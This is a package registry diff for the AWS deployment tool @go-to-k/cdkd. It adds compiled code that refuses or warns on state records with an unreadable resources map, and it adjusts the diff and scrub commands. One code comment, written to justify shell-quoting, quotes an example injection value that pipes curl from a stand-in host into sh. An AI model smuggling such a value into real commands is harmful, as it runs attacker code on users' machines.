@go-to-k/cdkd 0.290.5 → 0.290.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,8 +1,8 @@
1
- import { $ as secretSafeKeyDisplay, $n as isCrossRegionRedirect, $r as CdkdError, $t as applyRoleArnIfSet, A as planOrphanAdoption, An as forceQuitRecoveryClause, Ar as resolveStateBucketWithDefaultAndSource, At as isSettledInstanceState, B as formatResourceLine, Bn as shouldRetainResource, Br as expectedOwnerParam, Bt as readConfigString, C as createPreDeleteFinalSnapshot, Ci as isRetryableTransientError, Cn as redactSecretsForState, Cr as getDefaultStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as markRedactedCause, Dn as rebuildClientForBucketRegion, Dr as resolveCaptureObservedState, Dt as isUnboundTemplateParameter, E as unsupportedFinalSnapshotError, Ei as markNonRetryable, En as S3StateBackend, Er as resolveAutoAssetStorage, Et as isImpossibleEmptyStoredAttribute, F as WARM_THROUGHPUT_MEMBERS, Fn as exportNamesCarriedFrom, Fr as CFN_TEMPLATE_URL_LIMIT, Ft as coerceCfnBoolean, G as red, Gn as createAssetRedirectResolver, Gr as processStackMessages, Gt as classifyReplaySecretRegion, H as cyan, Hn as stringifyValue, Hr as canonicalizeRegion, Ht as requireConfigArray, I as coerceWarmThroughput$1, In as importableOutputKeys, Ir as MIGRATE_TMP_PREFIX, It as coerceCfnInteger, J as collectPublishedOutputNames, Jn as AssetModeResolver, Jr as AwsClients, Jt as s3BucketArn, K as yellow, Kn as loadPublishableAssetManifest, Kt as producerRegionsFromState, L as isWarmThroughputDecrease, Ln as importableOutputs, Lr as findLargeInlineResources, Lt as configBooleanRefusal, M as isStatefulRecreateTargetForReplace, Mn as shellQuote, Mr as stateBucketExistenceConfirmed, Mt as normalizeAwsTagsToCfn, N as isStatefulRecreateTargetSync, Nn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Nr as warnDeprecatedNoPrefixCliFlag, Nt as resolveExplicitPhysicalId, O as extractDeploymentEventError, Oi as retryClassificationText, On as buildForceUnlockCommand, Or as resolveSkipPrefix, Ot as parameterTypeMayLoseSecretIdentity, P as renderStatefulReason, Pn as DEFAULT_STATE_PREFIX, Pr as CFN_TEMPLATE_BODY_LIMIT, Pt as assertRegionMatch, Q as secretBearingStateKeyWarning, Qn as getBootstrapMarkerKey, Qt as s3BucketWebsiteUrl, R as toCfnInteger, Rn as orphansAfterRollback, Rr as uploadCfnTemplate, Rt as configIntegerRefusal, S as ccRoutedFinalSnapshotError, Si as isMarkedNonRetryable, Sn as recoverMaskedOutput, Sr as synthesisStatusMessage, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as isTransientServerError, Tn as LockManager, Tr as resolveApp, Tt as getAccountInfo, U as gray, Un as WorkGraph, Ur as derivePartitionAndUrlSuffix, Ut as requireConfigObject, V as bold, Vn as AssetPublisher, Vr as PARTITION_TABLE, Vt as replayWarn, W as green, Wn as buildAssetRedirectMap, Wr as AssemblyReader, Wt as requireConfigString, X as isExportAliasCollision, Xn as assertAssetBucketRegion, Xr as resetAwsClients, Xt as s3BucketDualStackDomainName, Y as exportAliasCollisionScrubWarning, Yn as BOOTSTRAP_MARKER_PREFIX, Yr as getAwsClients, Yt as s3BucketDomainName, Z as secretBearing, Zn as ensureAssetStorage, Zr as setAwsClients, Zt as s3BucketRegionalDomainName, _ as isSecretBearingReferenceString, _n as isSingleDynamicReferenceToken, _r as escapeRegExp, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as IntrinsicResolutionRefusalError, an as withRetry, ar as describeAwsFailure, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as normalizeAwsError, bn as maskSecretsInText, br as getDockerImageBySourceHash, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, cn as STATE_SOURCED_BASELINE_RULES, cr as describeDockerExecFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ProvisioningError, dn as TEMPLATE_SOURCED_RULES, dr as formatDockerLoginError, dt as interruptWatchListenerCount, en as DiffCalculator, er as parseBootstrapMarker, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceTimeoutError, fn as carriesSecretMask, fr as getDockerCmd, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as identityKeyFor, gr as runDockerStreaming, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hi as StackTerminationProtectionError, hn as errorCauseChain, hr as runDockerForeground, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as DynamicReferenceRegionAmbiguousError, in as describeTypeWithThrottleRetry, ir as buildDenyExternalAccessPolicy, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as formatLockExpiry, jr as resolveUseCdkBootstrapAssets, jt as WAFv2WebACLProvider, k as makeSiblingClaimReader, kn as buildLockContentionMessage, kr as resolveStateBucketWithDefault, kt as refStateLookupFromResource, l as replayRollback, li as NestedStackChildDirectDestroyError, ln as STATE_SOURCED_CROSS_GENERATION_RULES, lr as describeDockerFailure, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackHasActiveImportsError, mn as dynamicReferenceTokens, mr as redactDockerArgvValues, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as findActionableSilentDrops, nr as validateAssetBucketName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalInvokeBuildError$1, on as DagBuilder, or as buildDockerImage, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as ResourceUpdateNotSupportedError, pn as createSecretMasker, pr as partitionSensitiveEnv, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as rewriteTemplateAssetReferences, qr as resolveBucketRegion, qt as withSharedDrainBudget, r as DeployEngine, ri as DeployCancelledError, rn as findSilentDropProperties, rr as validateContainerRepoName, rt as clearOnUpdateRemoval, s as planRollback, si as LocalStartServiceError, sn as TemplateParser, sr as describeDockerCapturedOutput, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CrossAccountSecretRefusalError, tn as INTRINSIC_KEYS, tr as readBootstrapMarkerBody, tt as IAMRoleProvider, u as updatePartialMessage, ui as PartialFailureError, un as STATE_SOURCED_READBACK_RULES, ur as dockerSpawnEnvWithSensitive, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as markSameGenerationBag, vr as stripControlChars, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isThrottlingError, wn as scrubResourceRecord, wr as getLegacyStateBucketName, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as withErrorHandling, xn as recordMaskOnlyValue, xr as Synthesizer, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yn as maskSecretsInError, yr as AssetManifestLoader, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as orphansCarriedFrom, zr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, zt as configStringRefusal } from "./deploy-engine-WFO9o9M0.js";
1
+ import { $ as secretSafeKeyDisplay, $n as isCrossRegionRedirect, $r as CdkdError, $t as applyRoleArnIfSet, A as planOrphanAdoption, An as forceQuitRecoveryClause, Ar as resolveStateBucketWithDefaultAndSource, At as isSettledInstanceState, B as formatResourceLine, Bn as shouldRetainResource, Br as expectedOwnerParam, Bt as readConfigString, C as createPreDeleteFinalSnapshot, Ci as isRetryableTransientError, Cn as redactSecretsForState, Cr as getDefaultStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as markRedactedCause, Dn as rebuildClientForBucketRegion, Dr as resolveCaptureObservedState, Dt as isUnboundTemplateParameter, E as unsupportedFinalSnapshotError, Ei as markNonRetryable, En as S3StateBackend, Er as resolveAutoAssetStorage, Et as isImpossibleEmptyStoredAttribute, F as WARM_THROUGHPUT_MEMBERS, Fn as exportNamesCarriedFrom, Fr as CFN_TEMPLATE_URL_LIMIT, Ft as coerceCfnBoolean, G as red, Gn as createAssetRedirectResolver, Gr as processStackMessages, Gt as classifyReplaySecretRegion, H as cyan, Hn as stringifyValue, Hr as canonicalizeRegion, Ht as requireConfigArray, I as coerceWarmThroughput$1, In as importableOutputKeys, Ir as MIGRATE_TMP_PREFIX, It as coerceCfnInteger, J as collectPublishedOutputNames, Jn as AssetModeResolver, Jr as AwsClients, Jt as s3BucketArn, K as yellow, Kn as loadPublishableAssetManifest, Kt as producerRegionsFromState, L as isWarmThroughputDecrease, Ln as importableOutputs, Lr as findLargeInlineResources, Lt as configBooleanRefusal, M as isStatefulRecreateTargetForReplace, Mn as shellQuote, Mr as stateBucketExistenceConfirmed, Mt as normalizeAwsTagsToCfn, N as isStatefulRecreateTargetSync, Nn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Nr as warnDeprecatedNoPrefixCliFlag, Nt as resolveExplicitPhysicalId, O as extractDeploymentEventError, Oi as retryClassificationText, On as buildForceUnlockCommand, Or as resolveSkipPrefix, Ot as parameterTypeMayLoseSecretIdentity, P as renderStatefulReason, Pn as DEFAULT_STATE_PREFIX, Pr as CFN_TEMPLATE_BODY_LIMIT, Pt as assertRegionMatch, Q as secretBearingStateKeyWarning, Qn as getBootstrapMarkerKey, Qt as s3BucketWebsiteUrl, R as toCfnInteger, Rn as orphansAfterRollback, Rr as uploadCfnTemplate, Rt as configIntegerRefusal, S as ccRoutedFinalSnapshotError, Si as isMarkedNonRetryable, Sn as recoverMaskedOutput, Sr as synthesisStatusMessage, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as isTransientServerError, Tn as LockManager, Tr as resolveApp, Tt as getAccountInfo, U as gray, Un as WorkGraph, Ur as derivePartitionAndUrlSuffix, Ut as requireConfigObject, V as bold, Vn as AssetPublisher, Vr as PARTITION_TABLE, Vt as replayWarn, W as green, Wn as buildAssetRedirectMap, Wr as AssemblyReader, Wt as requireConfigString, X as isExportAliasCollision, Xn as assertAssetBucketRegion, Xr as resetAwsClients, Xt as s3BucketDualStackDomainName, Y as exportAliasCollisionScrubWarning, Yn as BOOTSTRAP_MARKER_PREFIX, Yr as getAwsClients, Yt as s3BucketDomainName, Z as secretBearing, Zn as ensureAssetStorage, Zr as setAwsClients, Zt as s3BucketRegionalDomainName, _ as isSecretBearingReferenceString, _n as isSingleDynamicReferenceToken, _r as escapeRegExp, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as IntrinsicResolutionRefusalError, an as withRetry, ar as describeAwsFailure, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as normalizeAwsError, bn as maskSecretsInText, br as getDockerImageBySourceHash, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, cn as STATE_SOURCED_BASELINE_RULES, cr as describeDockerExecFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ProvisioningError, dn as TEMPLATE_SOURCED_RULES, dr as formatDockerLoginError, dt as interruptWatchListenerCount, en as DiffCalculator, er as parseBootstrapMarker, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceTimeoutError, fn as carriesSecretMask, fr as getDockerCmd, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as identityKeyFor, gr as runDockerStreaming, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hi as StackTerminationProtectionError, hn as errorCauseChain, hr as runDockerForeground, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as DynamicReferenceRegionAmbiguousError, in as describeTypeWithThrottleRetry, ir as buildDenyExternalAccessPolicy, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as formatLockExpiry, jr as resolveUseCdkBootstrapAssets, jt as WAFv2WebACLProvider, k as makeSiblingClaimReader, kn as buildLockContentionMessage, kr as resolveStateBucketWithDefault, kt as refStateLookupFromResource, l as replayRollback, li as NestedStackChildDirectDestroyError, ln as STATE_SOURCED_CROSS_GENERATION_RULES, lr as describeDockerFailure, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackHasActiveImportsError, mn as dynamicReferenceTokens, mr as redactDockerArgvValues, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as findActionableSilentDrops, nr as validateAssetBucketName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalInvokeBuildError$1, on as DagBuilder, or as buildDockerImage, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as ResourceUpdateNotSupportedError, pn as createSecretMasker, pr as partitionSensitiveEnv, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as rewriteTemplateAssetReferences, qr as resolveBucketRegion, qt as withSharedDrainBudget, r as DeployEngine, ri as DeployCancelledError, rn as findSilentDropProperties, rr as validateContainerRepoName, rt as clearOnUpdateRemoval, s as planRollback, si as LocalStartServiceError, sn as TemplateParser, sr as describeDockerCapturedOutput, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CrossAccountSecretRefusalError, tn as INTRINSIC_KEYS, tr as readBootstrapMarkerBody, tt as IAMRoleProvider, u as updatePartialMessage, ui as PartialFailureError, un as STATE_SOURCED_READBACK_RULES, ur as dockerSpawnEnvWithSensitive, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as markSameGenerationBag, vr as stripControlChars, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isThrottlingError, wn as scrubResourceRecord, wr as getLegacyStateBucketName, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as withErrorHandling, xn as recordMaskOnlyValue, xr as Synthesizer, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yn as maskSecretsInError, yr as AssetManifestLoader, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as orphansCarriedFrom, zr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, zt as configStringRefusal } from "./deploy-engine-BMp4b4Vl.js";
2
2
  import { S as truncateCodePoints, _ as withSkipPrefix, b as displayIdent, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, x as displaySafe, y as UNRENDERABLE } from "./logger-th1myfgh.js";
3
3
  import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
4
- import { t as getCdkdVersion } from "./version-BBIkp8ja.js";
5
- import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-DU7mN-cS.js";
4
+ import { t as getCdkdVersion } from "./version-XcHj8rQZ.js";
5
+ import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-JRuQeFtl.js";
6
6
  import { AsyncLocalStorage } from "node:async_hooks";
7
7
  import { createHash, randomBytes, randomUUID } from "node:crypto";
8
8
  import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -65348,6 +65348,145 @@ function isStackNotFoundError(err) {
65348
65348
  return name === "ValidationError" && /does not exist/i.test(message);
65349
65349
  }
65350
65350
 
65351
+ //#endregion
65352
+ //#region src/state/malformed-resources-bag.ts
65353
+ /** The error code every malformed-record refusal carries, whatever its class. */
65354
+ const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
65355
+ /**
65356
+ * Answer the ONE question both helpers below key on: can this record's
65357
+ * resource map be read at all?
65358
+ *
65359
+ * Widened past `null` / `undefined` because the message says "no readable
65360
+ * resources map" and a hand-edited record does not stop at those two: a
65361
+ * `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
65362
+ * empty or, for the string, absurd — repaired silently and warned about
65363
+ * nowhere. The predicate is the plain-object test the bag's own type implies.
65364
+ */
65365
+ function hasReadableResources(state) {
65366
+ const bag = state.resources;
65367
+ return typeof bag === "object" && bag !== null && !Array.isArray(bag);
65368
+ }
65369
+ /**
65370
+ * The shared explanation, in the terms the reader needs: what is wrong, what
65371
+ * to look at, and what NOT to do next.
65372
+ *
65373
+ * Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
65374
+ * emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
65375
+ * `.claude/rules/layout-state-types.md` require of any suggestion a user is
65376
+ * meant to paste, for two separate reasons.
65377
+ *
65378
+ * Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
65379
+ * printable-ASCII allowlist, so it removes the line- and escape-forgery class
65380
+ * but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
65381
+ * trusted here, since a stack name reaches the cross-stack read path from an
65382
+ * `Fn::GetStackOutput` argument or an S3 key. A name spelled
65383
+ * `a'; curl http://x|sh; echo '` would close the quoting and append its own
65384
+ * command to the line this text tells the user to RUN.
65385
+ *
65386
+ * Wrapping the command in `'...'` is not enough either, and is what makes the
65387
+ * two compose badly: `shellQuote` does its own quoting, so an outer wrapper
65388
+ * produces something unpastable. Hence unwrapped and last.
65389
+ *
65390
+ * An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
65391
+ * nothing — an empty argument makes `--stack-region` swallow the next flag,
65392
+ * turning a remedy into a differently-broken command.
65393
+ */
65394
+ function safeIdentifier(value) {
65395
+ const safe = displaySafe(value, { asciiOnly: true });
65396
+ if (!safe) return UNRENDERABLE;
65397
+ const { text, truncated } = truncateCodePoints(safe, 128);
65398
+ return truncated ? `${text}...` : text;
65399
+ }
65400
+ function malformedStateDetail(stackName, region) {
65401
+ const stack = safeIdentifier(stackName);
65402
+ const reg = safeIdentifier(region);
65403
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
65404
+ }
65405
+ /**
65406
+ * For a READ-ONLY command: give the record an empty resource bag so the
65407
+ * command can report on it, and say so (issue go-to-k/cdkd#3018).
65408
+ *
65409
+ * `parseStateBody` deliberately does not validate the inner shape, so a
65410
+ * hand-edited or truncated record reaches a command with `resources` absent,
65411
+ * `null`, or some other non-object. Every such command then died on a raw
65412
+ * `TypeError` from the first `Object.keys` / `in` / index read — the exact
65413
+ * wording differs per shape (`Cannot convert undefined or null to object`,
65414
+ * `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
65415
+ * them names a stack, a key or a remedy, from exactly the commands a user
65416
+ * reaches for WHEN the state is broken.
65417
+ *
65418
+ * WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
65419
+ * the twelve `Object.entries(state.resources)` loops, which was inert: every
65420
+ * one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
65421
+ * `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
65422
+ * happened one line up and the guards only made it look handled. One call per
65423
+ * load dominates the whole flow behind it, including the helpers that take the
65424
+ * state as a parameter (`orphan-rewriter`, `diff-calculator`,
65425
+ * `collectCcApiRoutes`).
65426
+ *
65427
+ * Mutates in place and returns whether it repaired anything; the caller warns
65428
+ * on `true`. A silent repair is its own defect — an empty resource set is
65429
+ * indistinguishable from a healthy empty stack in every later line of output,
65430
+ * so `No changes detected` over an unreadable record is a clean verdict about
65431
+ * nothing.
65432
+ *
65433
+ * **Only for a command that cannot WRITE state.** Anything that can persist
65434
+ * uses {@link refuseMalformedState} instead; see its note.
65435
+ */
65436
+ function repairMalformedResourcesForReadOnly(state) {
65437
+ if (hasReadableResources(state)) return false;
65438
+ state.resources = {};
65439
+ return true;
65440
+ }
65441
+ /**
65442
+ * The refusal TEXT, for a command whose own exit-code contract means this
65443
+ * cannot be a plain `CdkdError`.
65444
+ *
65445
+ * `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
65446
+ * plaintext") and every one of its refusals carries `exitCode = 2`, because a
65447
+ * CI gate reading the code alone must be able to tell "scrub looked and found
65448
+ * a leak" from "scrub refused to look" — the two call for opposite responses.
65449
+ * So scrub tests {@link hasReadableResources} and raises its own class around
65450
+ * this text rather than calling {@link refuseMalformedState}.
65451
+ *
65452
+ * The other three refusing commands do NOT share that need, and giving them a
65453
+ * single shared code would be wrong in the other direction: `cdkd rollback`
65454
+ * documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
65455
+ * would tell an operator to re-run a command that attempted nothing.
65456
+ */
65457
+ function malformedStateRefusalMessage(stackName, region) {
65458
+ return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
65459
+ }
65460
+ /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
65461
+ function malformedResourcesWarning(stackName, region) {
65462
+ return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
65463
+ }
65464
+ /**
65465
+ * For a command that can WRITE state: refuse the record by name instead of
65466
+ * repairing it.
65467
+ *
65468
+ * Repairing is actively DANGEROUS here, and the PR that introduced this module
65469
+ * shipped that danger for one round before its security review caught it.
65470
+ * `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
65471
+ * change alone satisfies — so a record holding `"resources": null` and a
65472
+ * plaintext secret in `outputs` would be scrubbed, and then saved back with a
65473
+ * repaired, WELL-FORMED `resources: {}`. The malformed record is the only
65474
+ * signal that anything is wrong; laundering it into a legitimate-looking empty
65475
+ * one is permanent and silent. The next `cdkd deploy` then reads zero resources
65476
+ * and CREATES the whole stack a second time, and the next `cdkd destroy`
65477
+ * deletes nothing and orphans every live resource — and the one-shot warning
65478
+ * that would have said so is long gone, quite possibly for a different
65479
+ * operator. `cdkd import --force` launders it the same way.
65480
+ *
65481
+ * Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
65482
+ * this names the stack, the region, the defect and the remedy, and exits on a
65483
+ * code rather than on a stack trace.
65484
+ */
65485
+ function refuseMalformedState(state, stackName, region) {
65486
+ if (hasReadableResources(state)) return;
65487
+ throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
65488
+ }
65489
+
65351
65490
  //#endregion
65352
65491
  //#region src/cli/commands/diff-recursive.ts
65353
65492
  /**
@@ -65468,7 +65607,10 @@ function indexNestedChildTemplates(template, templatePath) {
65468
65607
  /** Load a stack's cdkd state, or synthesize an empty record (→ all CREATE) when none exists. */
65469
65608
  async function loadStateOrEmpty(stackName, region, stateBackend) {
65470
65609
  const result = await stateBackend.getState(stackName, region);
65471
- if (result) return result.state;
65610
+ if (result) {
65611
+ if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
65612
+ return result.state;
65613
+ }
65472
65614
  return {
65473
65615
  stackName,
65474
65616
  region,
@@ -65777,7 +65919,7 @@ async function buildDiffTree(args) {
65777
65919
  parentHasSecretReference: secretBearingAbove
65778
65920
  }));
65779
65921
  }
65780
- for (const [logicalId, resource] of Object.entries(state.resources)) {
65922
+ for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
65781
65923
  if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
65782
65924
  if (templateChildIds.has(logicalId)) continue;
65783
65925
  node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, secretBearingAbove));
@@ -65804,7 +65946,7 @@ async function buildDeletedSubtree(stackName, region, stateBackend, diffCalculat
65804
65946
  outputChanges,
65805
65947
  children: []
65806
65948
  };
65807
- for (const [logicalId, resource] of Object.entries(state.resources)) {
65949
+ for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
65808
65950
  if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
65809
65951
  node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, parentHasSecretReference));
65810
65952
  }
@@ -66294,7 +66436,7 @@ async function diffCommand(stacks, options) {
66294
66436
  const previewOrphanAdoption = async (state, effectiveTemplate, orphanStackName, orphanRegion) => {
66295
66437
  const outcome = await planOrphanAdoption({
66296
66438
  records: state.orphans ?? [],
66297
- managedLogicalIds: new Set(Object.keys(state.resources)),
66439
+ managedLogicalIds: new Set(Object.keys(state.resources ?? {})),
66298
66440
  template: effectiveTemplate,
66299
66441
  stackName: orphanStackName,
66300
66442
  region: orphanRegion,
@@ -66735,6 +66877,12 @@ async function scrubCommand(stacks, options) {
66735
66877
  let totalStacksScrubbed = 0;
66736
66878
  let totalStacksWithUnscrubbableKeys = 0;
66737
66879
  let totalStacksWithUnverifiableReads = 0;
66880
+ /**
66881
+ * Stacks this `--dry-run` proceeded over with an UNREADABLE resources map
66882
+ * (issue go-to-k/cdkd#3018). Tracked exactly like `indexUnreadable`: an
66883
+ * audit this run could not perform is a FINDING, never a clean result.
66884
+ */
66885
+ const malformedRecords = [];
66738
66886
  const failures = [];
66739
66887
  const exportIndexStores = /* @__PURE__ */ new Map();
66740
66888
  const exportIndexFor = (indexRegion) => {
@@ -66811,6 +66959,7 @@ async function scrubCommand(stacks, options) {
66811
66959
  totalStacksScrubbed++;
66812
66960
  logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
66813
66961
  } else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
66962
+ if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
66814
66963
  if (scrubbed.unverifiableReads > 0) {
66815
66964
  totalStacksWithUnverifiableReads++;
66816
66965
  logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified — cdkd declines them by design (see the warnings above), so this stack is not reported clean.`);
@@ -66841,7 +66990,7 @@ async function scrubCommand(stacks, options) {
66841
66990
  totalIndexEntriesUnexamined += unexamined.length;
66842
66991
  logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
66843
66992
  }
66844
- if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0) {
66993
+ if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
66845
66994
  if (failures.length === 0) {
66846
66995
  logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
66847
66996
  return;
@@ -66864,6 +67013,7 @@ async function scrubCommand(stacks, options) {
66864
67013
  else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
66865
67014
  if (failures.length > 0) throw scrubStacksFailedError(failures);
66866
67015
  if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
67016
+ if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
66867
67017
  if (options.fail) throw new ScrubNeededError();
66868
67018
  return;
66869
67019
  }
